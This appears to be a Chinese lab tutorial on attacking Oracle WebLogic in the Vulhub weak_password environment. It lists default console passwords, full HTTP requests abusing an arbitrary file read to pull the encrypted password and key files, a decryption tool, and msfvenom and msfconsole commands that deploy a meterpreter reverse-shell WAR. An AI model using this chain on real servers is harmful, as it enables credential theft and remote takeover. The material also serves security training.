Weblogic漏洞(三)之 Weblogic 弱口令、任意文件读取漏洞

Weblogic 弱口令、任意文件读取漏洞

环境安装

此次我们实验的靶场,是vnlhub中的Weblogic漏洞中的weak_password靶场,我们 cd 到weak_password,然后输入以下命令启动靶场环境:

bash 复制代码
docker-compose up -d

输入以下的命令可以查看当前启动的靶场环境:

bash 复制代码
docker-compose ps

漏洞复现

首先我们可以通过本机的IP加端口号( http://192.168.41.132:7001/console/login/LoginForm.jsp)来进行靶场访问,如图这就是漏洞靶场的界面了

弱口令漏洞

这里我们可以使用弱口令来尝试登陆界面,Weblogic常用的弱口令密码有如下几种:

bash 复制代码
system:password
weblogic:weblogic
admin:secruity
joe:password
mary:password
system:sercurity
wlcsystem: wlcsystem
weblogic:Oracle@123

这里我们使用 weblogic:Oracle@123 的密码成功爆破弱口令进入后台

如下图是Weblogic的后台管理界面

任意文件读取漏洞

我们访问这个IP地址,http://192.168.41.132:7001/hello/file.jsp?path=/etc/passwd,这个地址存在任意文件读取漏洞,我们输入这点URL后,浏览器会下载一个file.htm文件

file.htm文件的内容如图所示

上述步骤说明http://192.168.41.132:7001/hello/file.jsp?path=这个URL路径存在任意文件读取漏洞,现在我们知道了这个路径存在任意文件读取漏洞,那我们该如何利用这个漏洞呢?Weblogic的服务器存在两个文件,密文和密钥,Weblogic的服务器存储密文的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat,相对路径是:security/SerializedSystemIni.dat,密钥文件的绝对路径是:/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml,相对路径是:config/config.xml

现在我们打开BP,点击进入 Repeater 重放模块,重放以下的数据包获取密文(注意这里的主机IP和端口号要改成你靶机的IP和端口号)

bash 复制代码
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/security/Serialize
dSystemIni.dat HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close

点击 send,发送数据包,得到以下数据

然后点击 Hex,切换为 16 进制的数据格式

选中以下的数据分段

右键点击copy to file,进行复制,保存为 111.dat 文件

然后我们重新发送以下的数据包,获取密钥文件(注意这里的主机IP和端口号要改成你靶机的IP和端口号)

bash 复制代码
GET
/hello/file.jsp?path=/root/Oracle/Middleware/user_projects/domains/base_domain/config/config.xml
HTTP/1.1
Host: X.X.X.X:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/97.0.4692.71 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8, application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=XxnDkhsRVyXhvQZDkZfMz1jKwPxtMnVyvTDZTPyFP1QD2Gnq2R2F!- 1485790404
Connection: close

现在我们得到了密钥的文件,然后将其保存复制下来,后面解密会用到

接下来我们去进行 Weblogic 密文的解密

Weblogic解密工具下载地址:https://github.com/TideSec/Decrypt_Weblogic_Password

此次我们使用的是这个工具:https://github.com/TideSec/Decrypt_Weblogic_Password/tree/master/Tools5-weblogic_decrypt

将工具下载到本地之后,我们通过以下代码启动工具

bash 复制代码
java -jar weblogic_decrypt.jar

然后将文件选择为我们保存的111.dat文件,密文这里填写我们获得得密钥,然后点击确定,成功解密出密码

然后我们使用 weblogic 用户名 和 破解出来得密码 Oracle@123 尝试登陆后台

控制目标服务器

我们获得用户名和密码之后尝试登陆Weblogic 的后台

现在我们已经通过弱口令或者任意文件读取漏洞获得密码成功登陆了Weblogic服务器的后台界面

进入到后台之后,我们该如何去利用呢?首先我们通过kali生成一个木马

bash 复制代码
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.41.132 lport=4444 -f war -o java.war

点击左侧 部署->安装->上载文件->选择部署,上传java.war包->(全部下一步)-> 完成


上传好后的界面如图所示:

然后kali机器开启监听

bash 复制代码
msfconsole	
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.41.132
set LPORT 4444
exploit

接下来我们访问 http://192.168.41.132:7001/java这个URL来触发木马回连

kali机器收到监听

相关推荐
红肤色15 分钟前
【网络安全基础】CentOS 7超详细安装教程(含镜像)
linux·运维·服务器·安全·网络安全·centos
Double Point38 分钟前
(三十三)Dart 中使用 Pub 包管理系统与 HTTP 请求教程
网络·网络协议·http
大丈夫立于天地间1 天前
ISIS协议中的数据库同步
运维·网络·信息与通信
Dream Algorithm1 天前
路由器的 WAN(广域网)口 和 LAN(局域网)口
网络·智能路由器
IT猿手1 天前
基于CNN-LSTM的深度Q网络(Deep Q-Network,DQN)求解移动机器人路径规划,MATLAB代码
网络·cnn·lstm
吴盐煮_1 天前
使用UDP建立连接,会存在什么问题?
网络·网络协议·udp
hyshhhh1 天前
【算法岗面试题】深度学习中如何防止过拟合?
网络·人工智能·深度学习·神经网络·算法·计算机视觉
币之互联万物1 天前
AQUA爱克泳池设备入驻济南校园,以品质筑牢游泳教育安全防线
安全
Hellc0071 天前
轮询、WebSocket 和 SSE:实时通信技术全面指南(含C#实现)
网络